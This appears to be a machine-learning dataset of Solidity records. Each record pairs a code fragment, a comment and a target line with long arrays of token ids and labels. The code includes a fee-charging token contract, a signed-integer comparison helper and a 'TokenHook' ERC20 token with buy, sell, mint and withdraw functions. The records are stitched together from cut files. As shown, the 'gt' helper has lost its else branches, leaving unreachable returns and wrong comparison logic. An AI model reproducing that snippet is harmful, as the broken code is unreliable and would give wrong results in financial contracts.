(amount >= 1) && (amount <= 9999),
"Tx Fee Error: Submitted value out of bounds. Value must be >= 1 and <= 9999."
);
//Set transfer fee
_txFeeBP = amount;
}
function increaseTokenSupply(address account, uint256 amount) public whenNotPaused onlyOwner {
//Check for multisig vote eligibility
require(
multisigVoteApproved("INCREASE_TOKEN_SUPPLY"),
"Multisig Error: Multisignature requirements have not been met."
);
//Add tokens to total supply
_totalSupply += amount;
//Add tokens to account balance
_balances[account] += amount;
//Emit transfer event
emit Transfer(address(0), account, amount);
}
function reduceTokenSupply(address account, uint256 amount) public whenNotPaused onlyOwner {
//Check for multisig vote eligibility
require(
multisigVoteApproved("REDUCE_TOKEN_SUPPLY"),
"Multisig Error: Multisignature requirements have not been met."
);
//Checking to make sure that submitted address isn't the zero address
//Checking to make sure that submitted address isn't the contract address
require(
(account != address(0)) && (account != address(this)),
"Reduce Token Supply Error: Cannot destroy tokens from the zero or contract address."
);
//Checking to make sure that submitted address is an owners address and the message sender
require(
(_owners[account]) && (account == msg.sender),
"Reduce Token Supply Error: Tokens may only be destroyed from a contract owner's own account."
);
//Checking to ensure that burn amount is less than or equal to address balance
require(
_balances[account] >= amount,
"Reduce Token Supply Error: Account balance too small to satisfy request."
);
//Deduct token amount from account balance
_balances[account] -= amount;
//Increase token amount for burn address (_burnAddress)
_balances[_burnAddress] += amount;
//Emit Events
emit Transfer(account, _burnAddress, amount);
emit ReduceTokenSupply(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
uint256 senderBalance = _balances[sender];
//Check to ensure that account has enough tokens to transfer
require(
senderBalance >= amount,
"Transfer Error: Transfer amount exceeds balance."
);
//Check to ensure that sender is not the zero address
//Check to ensure that recipient is not the zero address
//Check to ensure that recipient is not the contract address
require(
(sender != address(0)) && (recipient != address(0)) && (recipient != address(this)),
"Transfer Error: Cannot transfer from/to the zero/contract address."
);
//Check to ensure that transfer amount is greater than or equal to 10,000
require(
amount >= 10000,
"Transfer Error: Cannot transfer amount smaller than 10,000 units."
);
//Initialize fee variable and set to 0%
uint256 fee = 0;
//Check if sender is excluded from paying transfer fees
if (!_isExcludedFromFee[sender]) {
//Set fee amount based off _txFeeBP. _txFeeBP integer represents 1 basis point or 0.01%
fee = (amount * _txFeeBP) / 10000;
//Add fee to commission holder account
_balances[_commissionHolder] += fee;
//Emit transfer event
emit Transfer(msg.sender, _commissionHolder, fee);
}
//Deduct tokens from sender
_balances[sender] = senderBalance - amount;
//Add tokens minus fee to recipient
_balances[recipient] += (amount - fee);
//Emit transfer event
emit Transfer(msg.sender, recipient, amount - fee);
}
function transfer(address recipient, uint256 amount) public override whenNotPaused returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override whenNotPaused returns (bool) {
uint256 currentAllowance = _allowances[sender][msg.sender];
require(
currentAllowance >= amount,
"Transfer From Error: Transfer amount exceeds allowance."
);
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function _approve(address owner_, address spender, uint256 amount) private {
//Check to make sure owner is not the zero address
//Check to make sure spender is not the zero address
//Check to make sure spender is not contract address
require(
(owner_ != address(0)) && (spender != address(0)) && (spender != address(this)),
"Approve Error: Cannot approve from/to the zero address or to contract's address."
);
//Set allowance
_allowances[owner_][spender] = amount;
//Emit event
emit Approval(owner_, spender, amount);
}
function approve(address spender, uint256 amount) public override whenNotPaused returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function allowance(address owner_, address spender) public view override whenNotPaused returns (uint256) {
return _allowances[owner_][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public override whenNotPaused returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
_approve(msg.sender, spender, currentAllowance + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public override whenNotPaused returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
//Check to make sure that decreased amount is not lower than current allowance
require(
currentAllowance >= subtractedValue,
"Decrease Allowance Error: Decreased allowance would be below zero."
);
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function excludeAddrFromTxFee(address account) public whenNotPaused onlyOwner {
//Check to make sure account isn't already excluded from fee
require(
!_isExcludedFromFee[account],
"Tx Fee Error: Address is already excluded from fee."
);
_isExcludedFromFee[account] = true;
}
function includeAddrInTxFee(address account) public whenNotPaused onlyOwner {
//Check to make sure that account isn't already included in fee
require(
_isExcludedFromFee[account],
"Tx Fee Error: Address is already included in fee."
);
//Check to make sure that account isn't an owners account
require(
!_owners[account],
"Tx Fee Error: Cannot charge tx fee to contract owner."
);
//Check to make sure that account isn't the commission holder account
require(
_commissionHolder != account,
"Tx Fee Error: Cannot charge tx fee to commission holder."
);
_isExcludedFromFee[account] = false;
}
function setAccountAsCommissionHolder(address account) public onlyOwner {
//Check multisignature eligibility
require(
multisigVoteApproved("SET_COMMISSION_HOLDER"),
"Multisig Error: Multisignature requirements have not been met."
);
//Check that commission holder account is not the zero address
require(
account != address(0),
"Commission Error: Commission holder cannot be the zero address."
);
//Check that commission holder isn't already set
require(
_commissionHolder != account,
"Commission Error: Account is already the commission holder."
);
//Change commission holder
_commissionHolder = account;
//Emit event
emit CommissionHolderChange(_commissionHolder, account);
}
function transferOwnership(address newOwner) public onlyOwner {
//Check for multisig vote eligibility
require(
multisigVoteApproved("TRANSFER_OWNERSHIP"),
"Multisig Error: Multisignature requirements have not been met."
);
//Check to make sure that new owner is not the caller
require(
newOwner != msg.sender,
"Owner Transfer Error: New owner is the same as caller."
);
//Check to make sure that new owner is not already an owner
require(
!_owners[newOwner],
"Owner Transfer Error: New owner is already an owner."
);
//Check to make sure that new owner's address is not zero
//Check to make sure that new owner's address is not the contract address
require(
(newOwner != address(0)) && (newOwner != address(this)),
"Owner Transfer Error: New owner's address cannot be zero or contract's address."
);
//Previous contract owner is removed
_owners[msg.sender] = false;
_isExcludedFromFee[msg.sender] = false;
//New contract owner is added
_owners[newOwner] = true;
_isExcludedFromFee[newOwner] = true;
//Emit event log
emit OwnershipTransferred(msg.sender, newOwner);
}
}
| Every integer equals 1 basis points (Value range 1 (0.01%) to 9999 (99.99%)
| uint256 _txFeeBP = 100; | 5,445,381 | [
1,
21465,
3571,
1606,
404,
10853,
3143,
261,
620,
1048,
404,
261,
20,
18,
1611,
9,
13,
358,
30082,
261,
2733,
18,
2733,
9,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
389,
978,
14667,
30573,
273,
2130,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x5f428e427096D5085D8d95D64d90f3e7c13C92Fb/sources/P1Deleveraging.sol | * @dev Returns true if signed integer `a` is greater than signed integer `b`, false otherwise./ True, unless both values are zero. | function gt(
Int memory a,
Int memory b
)
internal
pure
returns (bool)
{
if (a.isPositive) {
if (b.isPositive) {
return a.value > b.value;
return a.value != 0 || b.value != 0;
}
if (b.isPositive) {
return false;
return a.value < b.value;
}
}
}
| 2,651,298 | [
1,
1356,
638,
309,
6726,
3571,
1375,
69,
68,
353,
6802,
2353,
6726,
3571,
1375,
70,
9191,
629,
3541,
18,
19,
1053,
16,
3308,
3937,
924,
854,
3634,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
9879,
12,
203,
3639,
3094,
3778,
279,
16,
203,
3639,
3094,
3778,
324,
203,
565,
262,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
309,
261,
69,
18,
291,
14900,
13,
288,
203,
5411,
309,
261,
70,
18,
291,
14900,
13,
288,
203,
7734,
327,
279,
18,
1132,
405,
324,
18,
1132,
31,
203,
7734,
327,
279,
18,
1132,
480,
374,
747,
324,
18,
1132,
480,
374,
31,
203,
5411,
289,
203,
5411,
309,
261,
70,
18,
291,
14900,
13,
288,
203,
7734,
327,
629,
31,
203,
7734,
327,
279,
18,
1132,
411,
324,
18,
1132,
31,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: ECLv2
/**
* @title TokenHook (THK).
* @author Currently ANONYMOUS.
* @notice You may use this code under ECLv2.
* @dev For new token deployment:
* 1- Install MetaMask (Chrome/Firefox extension).
* 2- Connect to Rinkeby (or other private/public chains).
* 3- Run RemixIDE and set environment as "Injected Web3".
* 4- Copy and past this code in RemixIDE.
* 5- Deploy the token contract (ERC20).
* @dev The code is compatible with version 0.5.x of Solidity complier.
* Version 0.5.11 has been selected for compatibility with the following auditing tools:
* 1- EY Review Tool by Ernst & Young Global Limited.
* 2- SmartCheck by SmartDec.
* 3- Securify by ChainSecurity.
* 4- ContractGuard by GuardStrike.
* 5- MythX by ConsenSys.
* 6- Slither Analyzer by Crytic.
* 7- Odin by Sooho.
*/
pragma solidity 0.5.11;
/**
* @title ERC20 Interface
* @author Fabian Vogelsteller, Vitalik Buterin
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
interface IERC20 {
/// Transfers tokens and fires the Transfer event.
function transfer(address to, uint256 tokens) external returns (bool);
/// Allows to withdraw from your account multiple times, up to the approved tokens.
function approve(address spender, uint256 tokens) external returns (bool);
/// Transfers approved tokens and fires the Transfer event
function transferFrom(address from, address to, uint256 tokens) external returns (bool);
/// Returns the total token supply
function totalSupply() external view returns (uint256);
/// Returns token balance of an account
function balanceOf(address account) external view returns (uint256);
/// Returns the allowed tokens to withdraw from an account
function allowance(address account, address spender) external view returns (uint256);
/// Events
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
/**
* @title Wrappers over Solidity's arithmetic operations with added overflow checks.
* @author OpenZeppelin
* @dev https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.Using this library instead of the unchecked operations
* eliminates an entire class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
/// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
/// benefit is lost if 'b' is also tested.
/// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
/// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
/// assert(a == b * c + a % b); /// There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title ERC20 Token contract
* @dev When verify the code in EtherScan and if you used the default initialSupply,
* set this value as "Constructor Arguments":
* 0000000000000000000000000000000000000000000000000000000000000000
* @dev The token will be created with 18 decimal places,
* so it takes a balance of 10 ** 18 token units to equal one token.
* In other word, if we want to have x initial tokens, we need to pass in,
* x * 10 ** 18 to the constructor.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256; /// Attach SafeMath functions with uint256 to mitigate integer overflow
string public constant name = "TokenHook"; /// Token name
string public constant symbol = "THK"; /// Token symbol
uint8 public constant decimals = 18; /// Divisible to 18 decimal places
address payable private owner; /// Token owner
uint256 public exchangeRate = 100; /// 100 tokens per 1ETH, default exchange rate
uint256 private initialSupply = 200e6; /// Controls economy of the token by limiting initial supply to 200M
bool private locked; /// Mutex variable to mitigate re-entrancy attack
bool private paused; /// Boolean variable to support Fail-Safe mode
//uint256 private contractBalance = 0; /// Can be used for integrity check
mapping(address => mapping (address => uint256)) private allowances; /// Allowed token to transfer by spenders
mapping(address => mapping (address => uint256)) private transferred; /// Transferred tokens by spenders
mapping(address => uint256) public balances; /// Balance of token holders
/**
* @dev Token constructor that runs only once upon contract creation. The final code of the contract is deployed to the blockchain,
* after the constructor has run.
*/
constructor(uint256 supply) public {
owner = msg.sender; /// Owner of the token
initialSupply = (supply != 0) ? supply : /// Initialize token supply
initialSupply.mul(10 ** uint256(decimals)); /// With 18 zero
balances[owner] = initialSupply; /// Owner gets all initial tokens
emit Transfer(address(0), owner, initialSupply); /// Logs transferred tokens to the owner
}
/**
* @dev Fallback function to accept ETH. It is compatible with 2300 gas for receiving funds via send or transfer methods.
*/
function() external payable{
//require(msg.data.length == 0, "Only plain Ether"); /// Checks for only calls without data
//contractBalance = contractBalance.add(msg.value); /// Adjusting contract balance
emit Received(msg.sender, msg.value); /// Logs received ETH
}
/**
* @dev Transfers `tokens` amount of tokens to address `to`, and fires Transfer event. Transferring zero tokens is also allowed.
*/
function transfer(address to, uint256 tokens) external notPaused validAddress(to) noReentrancy returns (bool success) {
require(balances[msg.sender] >= tokens, "Not enough balance"); /// Checks the sender's balance
require(balances[to].add(tokens) >= balances[to], "Overflow error"); /// Checks overflows
balances[msg.sender] = balances[msg.sender].sub(tokens); /// Subtracts from the sender
balances[to] = balances[to].add(tokens); /// Adds to the recipient
emit Transfer(msg.sender, to, tokens); /// Logs transferred tokens
return true;
}
/**
* @dev Special type of Transfer that makes it possible to give permission to another address for spending tokens on your behalf.
* It sends `tokens` from address `from` to address `to`. The `transferFrom` method is used for a withdraw work-flow, allowing
* contracts to send tokens on your behalf, for example to deposit to a contract address and/or to charge fees in sub-currencies.
* The function call fails unless the `from` account has deliberately authorized the sender of the message via `approve` function.
*/
function transferFrom(address from, address to, uint256 tokens) external notPaused validAddress(to) noReentrancy returns (bool success) {
require(balances[from] >= tokens, "Not enough tokens"); /// Checks the sender's balance
require(tokens <= ( /// Prevent token transfer more than allowed
(allowances[from][msg.sender] > transferred[from][msg.sender]) ?
allowances[from][msg.sender].sub(transferred[from][msg.sender]) : 0)
, "Transfer more than allowed");
balances[from] = balances[from].sub(tokens); /// Decreases balance of approver
balances[to] = balances[to].add(tokens); /// Increases balance of spender
transferred[from][msg.sender] = transferred[from][msg.sender].add(tokens); /// Tracks transferred tokens
emit Transfer(from, to, tokens); /// Logs transferred tokens
return true;
}
/**
* @dev It approves another address to spend tokens on your behalf. It allows `spender` to withdraw from your account, multiple times,
* up to the `tokens` amount. If this function is called again, it overwrites the current allowance with `tokens`.
*/
function approve(address spender, uint256 tokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(spender != msg.sender, "Approver is spender"); /// Spender cannot approve himself
require(balances[msg.sender] >= tokens, "Not enough balance"); /// Checks the approver's balance
allowances[msg.sender][spender] = tokens; /// Sets allowance of the spender
emit Approval(msg.sender, spender, tokens); /// Logs approved tokens
return true;
}
/**
* @dev Implements another way of approving tokens by increasing current approval. It is not defined in the standard.
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
*/
function increaseAllowance(address spender, uint256 addedTokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(balances[msg.sender] >= addedTokens, "Not enough token"); /// Checks the approver's balance
allowances[msg.sender][spender] = allowances[msg.sender][spender].add(addedTokens); /// Adds allowance of the spender
emit Approval(msg.sender, spender, addedTokens); /// Logs approved tokens
return true;
}
/**
* @dev Implements another way of approving tokens by decreasing current approval. It is not defined in the standard.
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
*/
function decreaseAllowance(address spender, uint256 subtractedTokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(allowances[msg.sender][spender] >= subtractedTokens, "Not enough token"); /// Checks the spenders's allowance
allowances[msg.sender][spender] = allowances[msg.sender][spender].sub(subtractedTokens);/// Adds allowance of the spender
emit Approval(msg.sender, spender, subtractedTokens); /// Logs approved tokens
return true;
}
/**
* @dev Supports selling tokens to the contract. It uses msg.sender.call.value() mrthod to be compatible with EIP-1884.
* In addition to CEI, Mutex (noReentrancy modifier is also used to mitigate cross-function re-entrancy attack (along with same-function re-entrancy).
*/
function sell(uint256 tokens) external notPaused noReentrancy returns(bool success)
{
require(tokens > 0, "No token to sell"); /// Selling zero token is not allowed
require(balances[msg.sender] >= tokens, "Not enough token"); /// Checks the seller's balance
uint256 _wei = tokens.div(exchangeRate); /// Calculates equivalent of tokens in Wei
require(address(this).balance >= _wei, "Not enough wei"); /// Checks the contract's ETH balance
//require(contractBalance >= _wei, "Not enough wei"); /// Contract does not have enough Wei
/// Using Checks-Effects-Interactions (CEI) pattern to mitigate re-entrancy attack
balances[msg.sender] = balances[msg.sender].sub(tokens); /// Decreases tokens of seller
balances[owner] = balances[owner].add(tokens); /// Increases tokens of owner
//contractBalance = contractBalance.sub(_wei); /// Adjusts contract balance
emit Sell(msg.sender, tokens, address(this), _wei, owner); /// Logs sell event
(success, ) = msg.sender.call.value(_wei)(""); /// Transfers Wei to the seller
require(success, "Ether transfer failed"); /// Checks successful transfer
}
/**
* @dev Supports buying token by transferring Ether
*/
function buy() external payable notPaused noReentrancy returns(bool success){
require(msg.sender != owner, "Called by the Owner"); /// The owner cannot be seller/buyer
uint256 _tokens = msg.value.mul(exchangeRate); /// Calculates token equivalents
require(balances[owner] >= _tokens, "Not enough tokens"); /// Checks owner's balance
balances[msg.sender] = balances[msg.sender].add(_tokens); /// Increases token balance of buyer
balances[owner] = balances[owner].sub(_tokens); /// Decreases token balance of owner
//contractBalance = contractBalance.add(msg.value); /// Adjustes contract balance
emit Buy(msg.sender, msg.value, owner, _tokens); /// Logs Buy event
return true;
}
/**
* @dev Withdraw Ether from the contract and send it to the address that is specified by the owner. It can be called only by the owner.
*/
function withdraw(uint256 amount) external onlyOwner returns(bool success){
require(address(this).balance >= amount, "Not enough fund"); /// Checks the contract's ETH balance
//require(contractBalance >= amount, "Not enough fund"); /// Checks the contract's ETH balance
emit Withdrawal(msg.sender, address(this), amount); /// Logs withdrawal event
(success, ) = msg.sender.call.value(amount)(""); /// Transfers amount (EIP-1884 compatible)
require(success, "Ether transfer failed"); /// Checks successful transfer
}
/**
* @dev Returns balance of the Contract
*
function getContractBalance() public view onlyOwner returns(uint256, uint256){
return (address(this).balance, contractBalance);
}
/**
* @dev Checks for unexpected received Ether (forced to the contract without using payable functions)
*
function unexpectedEther() public view onlyOwner returns(bool){
return (contractBalance != address(this).balance);
}
*/
/**
/* @dev Creates new tokens and assigns them to the owner, increases the total supply as well.
*/
function mint(uint256 newTokens) external onlyOwner {
initialSupply = initialSupply.add(newTokens); /// Increases token supply
balances[owner] = balances[owner].add(newTokens); /// Increases balance of the owner
emit Mint(msg.sender, newTokens); /// Logs Mint event
}
/**
* @dev Burns tokens from the owner, decreases the total supply as well.
*/
function burn(uint256 tokens) external onlyOwner {
require(balances[owner] >= tokens, "Not enough tokens"); /// Checks owner's balance
balances[owner] = balances[owner].sub(tokens); /// Decreases balance of the owner
initialSupply = initialSupply.sub(tokens); /// Decreases token supply
emit Burn(msg.sender, tokens); /// Logs Burn event
}
/**
* @dev Sets new exchange rate. It can be called only by the owner.
*/
function setExchangeRate(uint256 newRate) external onlyOwner returns(bool success)
{
uint256 _currentRate = exchangeRate;
exchangeRate = newRate; /// Sets new exchange rate
emit Change(_currentRate, exchangeRate); /// Logs Change event
return true;
}
/**
* @dev Changes owner of the contract
*/
function changeOwner(address payable newOwner) external onlyOwner validAddress(newOwner) {
address _current = owner;
owner = newOwner;
emit ChangeOwner(_current, owner);
}
/**
* @dev Pause the contract as result of self-checks (off-chain computations).
*/
function pause() external onlyOwner {
paused = true;
emit Pause(msg.sender, paused);
}
/**
* @dev Unpause the contract after self-checks.
*/
function unpause() external onlyOwner {
paused = false;
emit Pause(msg.sender, paused);
}
/**
* @dev Returns the total token supply.
*/
function totalSupply() external view returns (uint256 tokens) {
return initialSupply; /// Total supply of the token.
}
/**
* @dev Returns the account balance of another account with address `tokenHolder`.
*/
function balanceOf(address tokenHolder) external view returns (uint256 tokens) {
return balances[tokenHolder]; /// Balance of token holder.
}
/**
* @dev Returns the amount of tokens approved by the owner that can be transferred to the spender's account.
*/
function allowance(address tokenHolder, address spender) external view notPaused returns (uint256 tokens) {
uint256 _transferred = transferred[tokenHolder][spender]; /// Already transferred tokens by `spender`.
return allowances[tokenHolder][spender].sub(_transferred); /// Remained tokens to transfer by `spender`.
}
/**
* @dev Returns the amount of transferred tokens by spender's account.
*/
function transfers(address tokenHolder, address spender) external view notPaused returns (uint256 tokens) {
return transferred[tokenHolder][spender]; /// Transfers by `spender` (approved by `tokenHolder`).
}
/**
* @dev Checks whether the caller is the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Not the owner");
_;
}
/**
* @dev Checks validity of the address.
*/
modifier validAddress(address addr){
require(addr != address(0x0), "Zero address");
require(addr != address(this), "Contract address");
_;
}
/**
* @author https://solidity.readthedocs.io/en/latest/contracts.html#function-modifiers
* @dev Mutex modifier to mitigate Re-entrancy Attack. Operation will succeed if and only if the locking thread is the one that already holds the lock.
*/
modifier noReentrancy()
{
require(!locked, "Reentrant call");
locked = true;
_;
locked = false;
}
/**
* @dev Modifier to support Fail-Safe Mode. In case, it disables most of the toekn features, hands off control to the owner.
*/
modifier notPaused()
{
require(!paused, "Fail-Safe mode");
_;
}
/// Events
event Buy(address indexed _buyer, uint256 _wei, address indexed _owner, uint256 _tokens);
event Sell(address indexed _seller, uint256 _tokens, address indexed _contract, uint256 _wei, address indexed _owner);
event Received(address indexed _sender, uint256 _wei);
event Withdrawal(address indexed _by, address indexed _contract, uint256 _wei);
event Change(uint256 _current, uint256 _new);
event ChangeOwner(address indexed _current, address indexed _new);
event Pause(address indexed _owner, bool _state);
event Mint(address indexed _owner, uint256 _tokens);
event Burn(address indexed _owner, uint256 _tokens);
} | / Spender cannot approve himself
| require(spender != msg.sender, "Approver is spender"); | 6,253,432 | [
1,
19,
348,
1302,
264,
2780,
6617,
537,
366,
381,
2890,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
